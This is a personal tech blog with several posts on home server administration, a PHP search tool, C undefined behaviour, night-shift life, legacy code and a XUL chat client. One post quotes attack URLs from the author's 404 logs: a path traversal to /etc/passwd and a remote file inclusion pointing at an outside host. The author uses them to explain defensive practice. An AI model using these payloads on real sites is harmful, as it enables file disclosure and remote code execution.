Ramblings of Narc

Inspired by Jon Eveland‘s qqint, I’ve produced (from scratch) a personal version written in PHP and using an SQLite backend that anyone can set up and use themselves.

I started by putting up some slightly rambly QQSearch documentation that should explain what’s what, and why. Because the docs came first, they may be slightly out of date. They are also slightly ahead of the current state of development, as aliases have not yet been implemented (though it should be reasonably easy to do so).

You can use a demo of QQSearch with the really dangerous bits removed (i.e. no adding and deleting URL mappings).

If you like that, you can go ahead and:

• download QQSearch v. 0.1 as .tar.gz (about 100 KB), or
• download QQSearch v. 0.1 as .zip (about 300 KB)

Short instructions for use: download, extract to the htdocs folder of a PHP-enabled (version 5.1 minimum!) webserver, and browse to it.

If you need more help than that, feel free to contact me and I’ll do my best to get you sorted.

So, I must be the last person on the Internet to have heard of webmin — or, at least, the last person who administers a bunch of Linuxen to do so.

After installing it yesterday on Bast, I discovered, among other things, that webmin has a neat little interface to configure BIND. Since that was basically the one thing I hated having to manage on my own, I decided I’d give it a try — and boy, did it ever work nicely. I’ve managed to transfer the narc.ro zone from the shitty MS server to a nice, neat little BIND9-managed zone on bast.

On top of that, I’ve finally segregated *.narc.ro and *.internal.narc.ro, which makes the DNS a lot cleaner.

In other recent news, however, I did a stupid (this is where the “oopsies” part of the title comes in): I had to change Themis’s IP from 192.168.0.1 to .100 (well, I didn’t have to, I was just lazy), and… I forgot to change the port forward for the DNS. Which ended up breaking my e-mail deliveries, as well as most of everything else related to narc.ro, I’m sure. Luckily, since I also had a reason to change that forward, I caught it relatively quickly (yeah, it only took a couple of days, heh).

So if you were wondering why you couldn’t reach narc.ro, or why your RSS reader was having trouble getting updates, now you know. Aren’t ya glad?

(or, having fun with a public-facing Internet presence)

So, since I upgraded the main narc.ro site, I got a custom 404 handler in the bargain — one that emails me whenever it’s hit. Okay, so it initially sent 500 Internal Server Error, but I’ve fixed that part.

Anyway, the result of this is that I get a whole bunch of very fun emails when people try to hit pages on narc.ro that don’t exist, such as:

• http://www.narc.ro//gazelle/?template=../../../../../../../../../../../../../etc/passwd%00
• http://86.104.40.152/roundcube//bin/msgimport
• http://www.narc.ro/gazelle/?template=http://madrigaldelavera.es/joomla/mambots/editors/idit.txt%3f%3f

I hope I don’t have to tell you not to visit those links — they don’t do anything (except email me, which is annoying).

I’m particularly interested in the first on that list, which is also the most recent. The theoretical narc.ro/gazelle path would have been /opt/www/vhosts/www.narc.ro/htdocs/gazelle. Let’s count the ../es in the path our attacker tried — 13 of them. More than enough to get out of the 6-level deep path and into /. And I probably don’t have to tell you that /etc/passwd is a file you really want to guard pretty well — it has all your users in it (/etc/shadow has the hashed passwords, too, but that one’s protected so an ordinary user (or the apache user) would be unable to read it).

So, what protected me, in this case? Firstly, it was the fortunate fact that the script the attacker was trying to hit doesn’t exist; and second, that wherever I have scripts that are able to take user input for a path (for instance, img.narc.ro works like that), I’ve been careful to put in protection against relative path inputs like that one. http://img.narc.ro/../ just won’t work.

This is a semi-adequate level of protection for me, since I write my own scripts — I don’t have to worry about any mistakes made by anyone other than myself, and I’m pretty careful around this stuff.

But note that I am some random corner of the Internet almost nobody knows about, and I’m still getting attacked. That means no matter who you are, if you’re serving Web content, you must take precautions. And even if you’re the only developer on the system, you should still do your best to contain the threat. Defense in depth should be your key phrase. That’s why I’m currently looking into mod_chroot for my Apache2 installation. Your solution may be different, but have one, or at the very least, be aware that you will be attacked, and have some plan to recover from that if, or when, an attack is successful.

The toughest parts proved to be:

• Finding an optical drive that worked (I found one… from 1998 (!))
• Getting everything (postfix, apache, mysql) migrated

Total downtime was about six hours or so. The final result is excellent.

Now if you’ll excuse me, I need to get some sleep

Update: Wait one goddamned minute, I just noticed my permalinks aren’t! Valid, that is — they 404. Bah, I have to fix this…

Update to the update: Yeah, that worked. mod_rewrite wasn’t enabled. Oops. Wonder what other modules I’m missing.

As announced, I’m starting the setup for some downtime, with intent to switch my mail/web server to Ubuntu Server edition. It will still take some time to get everything set up (backups in place, etc), so this post should reach RSS readers (including the Google Feedreader), but at some point there will be downtime. If all goes well, it shouldn’t take too long. Wish me luck!

I rely on a very simple technique for anti-spam — I sign up to new websites using throwaway email addresses (usually, “narc-domain.tld [at] narc.ro”, or something like that), and if an address starts getting spam, I try to notify the interested parties, or, failing that, I blacklist it altogether.

So far, this has been very successful, in that the only spam I ever get tends to come from addresses I posted publicly, like an idiot, on this very website. To address this problem, I’ve set up a very simple contact form to get straight to me instead, and am now blacklisting all three (haha!) addresses I posted publicly in the past.

If you want to help, for whatever reason, I wouldn’t mind being notified about any mailto: links left anywhere on www.narc.ro or its sub-sites. I think I’ve killed them all, but I could very well be wrong. If you actually do this, I’ll buy you a beer the next time I see you. Or your favorite soft drink, if you’re not a drinker

Now, here’s an odd one for you, courtesy of my friend, Cristian Chilipirea (Dark Hunterj):

#include <stdio.h>

int* holy_crap()
{
	/*static*/ int s;
	printf("%i\n", s);
	return &s;
}

main()
{
	int* x = holy_crap();
	*x = 2;
	holy_crap();
}

So, what are we looking at? Well, if you uncomment the “static”, you get the intended effect — holy_crap(), when called for the first time, (prints “0\n” and) returns the address of its static variable; the value in that address is changed to contain a 2, and then holy_crap() prints out “2\n”. This is as intended, and it is a very silly thing to do, but it works and is legal.

And then, you comment out the static as I’ve done, and… it still works? That’s odd… In theory, at least, the allocation of a non-static local variable can take place absolutely anywhere in memory, so the address read and returned by the first call to holy_crap() could be different from the address checked and returned by the second call. Yet, on my compiler (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu3)) and on Dark’s, it actually does print “2\n” on the second call to holy_crap().

Granted, gcc does complain: “warning: function returns address of local variable”, but it still works, for whatever reason.

And it gets better! Check this out:

#include <stdio.h>

int * holy_crap()
{
	int s;
	printf("%i\n",s);
	return &s;
}

int huh_what()
{
	int test;
	test = 3;
}

main()
{
	int* x = holy_crap();
	*x = 2;
	huh_what();
	holy_crap();
}

This actually prints “3\n” on the second call to holy_crap()! We could probably reduce this further by removing the initial call to holy_crap() and the assignment of 2 to that pointer, but it doesn’t matter, because this is still some weird shit going on here.

Oh, and, I probably don’t need to tell you this but don’t ever rely on this happening for you! It’s very likely a combination of compiler, OS, and unoptimized compilation. I haven’t tried this in any conditions other than “gcc file.c -o file”, and I definitely do not recommend writing anything like this in any application beyond the most trivial/educational.

Still, any ideas to explain why this happens?

I don’t believe I’ve mentioned this here on the blog before, but I work what might be defined as the night shift. More accurately, I work eight hour “days” in the time zone of my (de facto) employer, who happens to be in Toronto, Ontario, Canada. What this translates to is a seven hour time difference (with the exception of daylight savings, where for one week we’re only SIX hours apart… but that’s another blog post), and it effectively means I work from 8 PM to 4 AM every weekday.

Why, yes, that does mean I work Saturday mornings. It also means I don’t work Monday mornings. No big difference, if you ask me.

Anyway, the major problem with doing all this is, as pretty much anyone who’s ever worked night shift will tell you: other people. More specifically, having to function in a world where pretty much everybody (that matters) works on a different clock than you do, which means they’re not going to think twice about calling you at 10 AM to ask you if the online order you made at 2 AM the previous morning was still valid, and if so, to tell you how long it’s going to take until delivery can be made. And they shouldn’t have to think about it, really, since you’re the edge case here and they have to optimize for the common cases.

But, what this also translates to is a situation where it’s very possible to not be able to sleep (or at least, not be able to sleep long enough), especially if, like me, you have trouble falling asleep again after having been woken up. Which leads me nicely into a very short story: last week.

Last week, the winter holiday period ended, and a lot of people went back to work. This effectively meant that the two online orders I’d made over the holidays finally got some human attention, and those humans were very interested in getting the backlog of orders cleared up. As a result, I got an average of six point something hours of uninterrupted sleep last week. Now, I know people generally tend to vary a lot in how much sleep they need, and I suspect I’m off to the side of the bell curve here, but I generally tend to need about nine hours of sleep per day, or else I get… slow. And being slow makes me cranky, because my brain isn’t processing information as fast as it should, and it pisses me off. To all the people who’ve ever had to deal with me in this state: I sincerely apologize for taking it out on you. I promise, if you weren’t sure, it was never anything personal. I like you guys, and I appreciate you all.

But that’s just one of the problems I’m facing, and if it were the only one, I could deal with it very simply (as I usually do, actually): by making fewer purchases, and lumping things together as much as possible. Unfortunately, the really big problem, as highlighted very nicely just now, are the neighbors.

Let me make a little aside here and explain my living circumstances: I live in a two bedroom apartment I share with my mother (for two simple reasons: 1 – she’d be basically alone now that my Dad is dead, and 2 – I don’t have to pay rent), in an eight-story building of over 100 such apartments (some smaller, most the same size), facing the back of the building, which is shared with three other very similar buildings (which creates an almost square enclosure — come to think of it: my house, let me show you it). We also have a high-school on the other side of the square (that C-shaped thing with partially shiny roof in the picture (it’s all shiny now, if you’re wondering)).

What all this adds up to is an enormous opportunity for noise. At night, when all the kids are home and (probably) asleep, and all the people in their respective homes are (almost definitely) asleep, it’s so quiet you could hear a pin drop eight stories below. During the day, on the other hand, it’s madness. Now, I’m happy to enjoy some pretty damn good windows (the physical kind, not the Microsoft kind), but even with them, if I haven’t made it to sleep by 6:30 to 7 AM, I’m going to have a hard time falling asleep with all the noise outside.

And that fails to mention the (very many) times the neighbors decide to do some home improvement. For the most part, once I’ve managed to fall asleep, it takes a lot to wake me up again. Unfortunately, most home improvement nowadays seems to involve some very loud power tools, especially drills, which not only make an incredible amount of noise when you’re around them, but which also make noise that tends to travel through the walls, because that’s what the drill bit is being applied to. The end result of this has been innumerable times that I’ve been woken up by the horrible noise of drilling, accompanied many times by a desire to use that power drill on the neighbor’s head. Unfortunately, this being Romania, that kind of activity is not as rare as someone from a civilized country might think it is. Instead, it’s almost a daily occurrence during the summer, and at least weekly during winter (WTF?). Sometimes I wonder how long it’s going to be until the building itself, having been drilled so full of holes, is going to crumble under its own weight. But I digress.

The conclusion of all of the above is that going against the “rules” of society, be they the simplest ones like what time it is, or the really complex pseudo-religious wars of abortion and gay rights and all that other stuff, is not for the faint of heart. It’s tough, in that it’s very difficult, and you may often be pissed off at the world around you just for being the way it is. But if you think it’s working, keep doing it. Just, don’t forget to vent once in a while.

The previous post was Blogging For The Perennial Lurker, a somewhat meta expression of my experience as a habitual information consumer rather than producer.

The first post in the series is Recognizing Failures, explaining how to handle a potential failed project, and what to do about it.

(or, just how much can you chew?)

Way back in late 2005 (a lifetime ago, as far as I’m concerned), a friend of mine came for a visit one day. He was coming to me on behalf of a (non-mutual) friend who needed a programmer because he had an application in mind. He tried to explain the application to me, and on the face of it, I didn’t think it was a particularly difficult one. I still don’t, actually, but that’s a purely academic distinction at this point.

So because I didn’t think it was going to be that difficult, I went ahead and told him to have his friend contact me; he did, and he did, and we met, and I got to sketch out a reasonable idea for the program both in my mind, and hopefully in the client’s mind as well.

And then things got bad.

I strongly suspect I was right, that the project was not particularly difficult. I also suspect that, just as I couldn’t finish (or even start) it then, I would be completely unable to finish it now. It’s just beyond my capabilities.

The first hint of this “too big to chew” property of the project was when I tried to start writing some kind of database abstraction for it and kept coming up with flaws in that abstraction. I had gotten a number of details on what the final application would have to deal with, and even though I had decided (together with the client) that the initial version would be limited to some much simpler-to-model data, it became more and more clear that this initial iteration would have to be thrown away almost entirely after its implementation.

And here’s where I went wrong: I could have created the initial, very limited application. It would’ve had to have been (at least partially) thrown away after its launch, and the next iteration would probably have been more complex, but it would have been something tangible, more than just a concept in our heads, but something that could be interacted with, could be tested, could be considered for the recycle bin or for the improvements treadmill. Instead, I froze. Almost literally. I couldn’t write the code. I couldn’t make it happen. All I could think of was how complicated an architecture would be required, and how it was so completely beyond me because man, I’ve never written something like this before and I’m so fucked; I told this man I’d deliver something and now I can’t deliver, I can’t do it, and I’d rather die than see this man again and dash his hopes after I made it sound so good…

Now, if that sounds like I’m maybe hiding the fact that I couldn’t bear the shame of not being able to write something, and I’m lying to myself (hello, armchair psychologists out there on the Interwebs!), the fact is I’m not. Yes, I was ashamed, but not that I couldn’t do it — I was ashamed that I’d ended up lying to my client about being able to do it. And, to be honest, I don’t think I even ever said I would be able to do it, but I’d made it sound so good, like it was just a few steps away from being real… which, of course, it never had been — except in my head. Before I’d really thought about it, that is.

So, the lesson I took from this was: don’t promise you can do something you’ve never done before, and don’t make it sound like you can. Because if you end up biting off more than you can chew, you’ll make a liar out of yourself, and your client will not only not want to hire you again, but they will also tell their friends that you’re unreliable, that you make promises you can’t deliver on, and that will fuck you more than anything. Obviously, this is just after-the-fact reasoning, the real reason for me was that it made me feel like shit — but it also happens to be true, and my feeling made me look at that, analyze it, and see it for myself. And now I can share it with you, anonymous reader.

The next post in the series is One Is The Most Important Number, and refers to the age-old programming concept: “Don’t repeat yourself”.

I’m severely low on tuits these days, especially round ones (laugh, it’s supposed to be funny ), but when I get one I need to:

• set up my newly-acquired D-Link router as the common gateway to the Internet, in place of the old computer currently doing this (implies moving any and all port forwards there, too)
• possibly set up a DNS server (BIND, probably) on one of the other computers (most likely bast)
• set up mum’s computer so she doesn’t have to work on the current router anymore (thus clearing it up for the next step)
• set up the current router as network-attached storage, running SAMBA and possibly NFS and probably SVNserve, too, on an Ubuntu Server Edition (plus transferring any of the data we want to keep off its current drives and onto different ones before formatting to ext3)
• (added to the above) look into the possibility of consolidating the four drives on the current router into a single logical partition (or perhaps two) using some kind of software RAID. This may or may not be a good idea, considering the age of the drives and their possibility of failure

Aside from all this, I have a bunch of other running around to do, most specifically involving putting a bunch of documentation together and finally becoming a one-man company so I can be paid more. I’ve unfortunately been slacking off in that department.

ETA: And that’s my quota of 1 post for this month, and just in time, too, October’s about to start. Boy, does time fly, or what?

(*) – WTB == “want to buy”; “round tuit” == common joke/wordplay around the statement “I’ll do it when I get around to it”.

I linked to my short story, Safeguard, before, but since then I’ve closed the wiki it was originally on.

Today, I finally transferred it to my new wiki, and updated the links in the older post. So, in case anyone wanted to find it, it’s here now, where I expect it’ll continue to exist forever. Or, at least, until I no longer have either a domain, a web server, or I die. Whichever comes first.

I should probably write more short stories soon…

In keeping with the previously mentioned tip about getting stuff done, I’m now starting to work on a problem I’ve been avoiding for several months — moving the mail server.

First part, setting up Postfix on bast to be authoritative for narc.ro, and do all the things my current mail server does. Will it end well? Watch this space, updates forthcoming as progress inevitably ensues (possibly with hilarity; most likely not). Current time: 2:34 am.

Update: 5:15 am and I have Postfix doing most of the important stuff. Counting them:

• receiving mail on the catch-all
• receiving forwarded mail from gmail
• not being an open relay — from default config, so not taking credit for it
• receiving mail on various blackhole accounts — and sending them straight to /dev/null

What isn’t there anymore:

• SpamAssassin. No great loss for me, as the only thing it was doing was marking emails as spam. My main filter has always been the blackhole.
• DNS Blacklists. Also no great loss, for the same reason as above. Further, I’ve heard it’s pretty easy to get on one of them, but very hard to get off them. So, no problem.
• SSL/TLS — wasn’t in use, since SMTP is secured by the anti-relay setup, and POP3 isn’t even open to the Internets. If someone (like me) wants to get their mail remotely, they can tunnel through SSH. And I can, have done, and will continue to do so.
• SPF/DomainKeys/etc. Same argument as above: not in use.
• Antivirus. Never received a virus in email. Don’t have any clueless users. So, no need.
• POP3 “forwards”. This might be a problem, as I did have a couple of email accounts I was fetching mail from using POP3. OTOH, the single important emails getting delivered to that account can be redirected through GMail, whose forwarding works fine. Come to think of it, I can have GMail fetch the emails remotely, and get those spiffy spam filters in on it, too! Not bad.

So, in conclusion, there’s not much I’m missing, and in exchange, I now have a much freer computer that I can power down at night and install Ubuntu on (when I can find some space for a complete backup). Very very good trade.

Seriously, that’s all it takes.

No more putting things off because they’re “going to take too long”. Or because they’re unfamiliar. If something is going to be a net benefit to you, go for it. Right now.

I’m taking my own advice right now and setting up my mother’s computer, the first step in overhauling all the computers in the house. It’ll be a pain figuring out where to back stuff up temporarily (I’m switching most computers from Windows to Linux, so that will involve some hard-drives getting reformatted from NTFS to Ext3), but I’m going to do it. Starting now.

As a consequence, the mail server will be down starting now. I’ll update the post when everything’s back up and running. Excuse me, I’m about to Get Stuff Done™.

UPDATE: Partly done — I’ve decided to do some computer surgery and swapped cases with one of mine. Mail server is up and running again. More downtime tomorrow, around the same time.

I haven’t talked much about work on this blog and I’m not going to give too many details now, either. For a bit of background, I’m working on somebody’s many-years-old legacy code, much of it written in a mix of PHP and Perl. The code has been worked on by dozens of programmers over the years, and nobody’s really kept any documentation aside from that absolutely required (mostly inter-departmental stuff).

As a result, the code is… well, let’s just call it The Code From Hell™.

So TCFH is a mixture of really old and not-so-old, and over the years the (very many) changes have resulted in a huge amount of cruft. None of which can be removed because, there being no documentation (and very little structure to the code, thanks to a number of people’s preferred coding style of “let’s just make this fucking thing work so I can go home”), nobody knows what’s still in use and what isn’t. On top of all this, “code reuse” was, at some point, taken to mean “let’s make a copy of this thing and make a couple of small changes, making it work for this new situation”.

In conclusion, we’ve got:

1. lots of versions of basically the same file with a few small changes
2. many old pieces of code nobody’s ever looked at in years
3. unused code
4. code that’s in use, but is so convoluted (the term Spaghetti Code comes to mind) that everybody hopes it won’t break
5. and very few, very confusing and mostly outdated pieces of documentation describing how some parts work (there is no complete documentation of the whole thing. If there ever was, it’s way out of date now)

And, to top it all off, I’m one of only two people remaining who still understand most of how it all fits together, and I’m the junior with only one and a half years’ experience.

On the bright side, most of the code is readable, once you understand a few basic structuring ideas that were, for the most part, adhered to.

It’s the rest of it (about 20%) that gives people nightmares of being stuck in a maze of twisty passages, all alike. I worked on that 20% today.

Let me pause now to describe a bit of the process flow: first, a user clicks a “join” link on one of our websites. The link takes them to the credit card processor, where they enter their CC details and their card is either accepted (and billed) or declined. After a successful billing, the user is sent to a handler on our servers that takes care of setting things up on our end; namely, creating the user in the database, and remembering some associated information so they can be rebilled for as long as they keep up their subscription.

Except that, on three websites, the user is not being created in the database.

The success/fail handler is one of those old pieces of code that’s been around since the dawn of time. There are multiple copies of it, as well as a number of included files which are about as old as the rest of the whole thing. I went through one of the copies today. Or I tried to.

You see, the code is part of that Code From Hell I was talking about. And even the includes are convoluted. So I thought I’d make things easier on myself by writing a script that recursively follows includes and prints them in a tree-like format (this script will be made available to others in the future; watch this space, or ask me for it, I might give it to you if you’re not a jerk).

The result? 177 included files, of which some 20 are false positives (not really includes; or commented out), about 30 are includes of the exact same file, which is used in a lot of places to provide unified logging, some 20 more includes of another file which provides some translation between an id number and the website the action originated on (lots of sites all go through the same handler; don’t ask for details unless you want to make me cry (meanie)), and some 20 or more includes of files defined by variables like $FNAME.

What none of these files seems to do is add a fucking user to the fucking database!

So I’ve basically wasted about five hours hunting for something in age-old code, still haven’t found it, my brain feels like it’s been through a grinder (multiple times), my wrist started hurting a while ago (carpal tunnel scare, though it’s since stopped), and the only success I’ve had so far today is this quick script that follows includes.

I’ve joked about taking this whole mess and rewriting it in PHP, but to be perfectly honest, I think one of these days I’m gonna go rogue and do it. Over a few weekends. And then present the result to the folks on the other end and say “Hey, guys, you know, it can be done better”. And it’ll be structured this time, dammit!

So lately I’ve been working with XUL. Specifically, I’ve been trying to recreate the (very old) Flash client for TNChat made by a friend (sorry, no link; I can’t be arsed to locate one).

As a result, ladies and gentlement, I present to you: Codem TNChat v. 0.3 (zip, 6.31 MB) (incl. XULRunner).

For those of you with some experience with XULRunner, you may wish to download the source code (zip, 146 kB) instead.

Update: Just fixed a bug that was preventing URLs from turning into links — download TNChat v. 0.3.1 (zip, 6.31 MB) or TNChat 0.3.1 source (zip, 146 kB) instead of the above.

Please note the following:

• You’re looking at an Alpha version. I couldn’t crash it easily, but I haven’t honestly tried very hard. That means it may or may not work for you. If it doesn’t, send me an email and I’ll try to help you get it working.
• What you see in this version may not necessarily still exist in the next. Alpha versions are not feature-complete, nor stable. In other words, if you get used to this version, I can’t guarantee the next one will look exactly the same.
• XULRunner can be a bit of a bitch sometimes, either refusing to run, or taking an inordinate amount of time to start up. If you think this has happened, try the following:
  1. Go to Start -> Run…;
  2. Type in “taskkill /f /im:xulrunner.exe” (without the quotes)
  3. Click “OK” or hit the Enter key
  4. Wait a second or two and then try running TNChat again.
• The server for this client is running on my computer. As such, it’s my bandwidth, and my Internet connection. At this time, there is no way to kick or ban users. Please don’t make me build that in sooner than I expected.
• For the same reason as above, a warning: if my Internet connection dies, so will the server. I’m sorry for that, but I can’t control my ISP (if I could, I’d have a better pipe!).
• Finally, if the interface doesn’t seem very straightforward to you, email me or ask in the comments about it. I promise to update this post with any notes resulting from such questions.

Finally, the server is not yet available to the general public, though you may, of course, ask politely for a copy.

Oh, and I know the /buzz sound is annoying. I’ll replace it in some future version.

Another Update: There is now a protocol documentation available, for those curious.